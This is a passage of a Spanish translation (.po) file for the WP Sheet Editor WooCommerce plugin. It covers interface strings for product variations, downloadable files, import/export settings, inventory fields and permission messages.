woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: 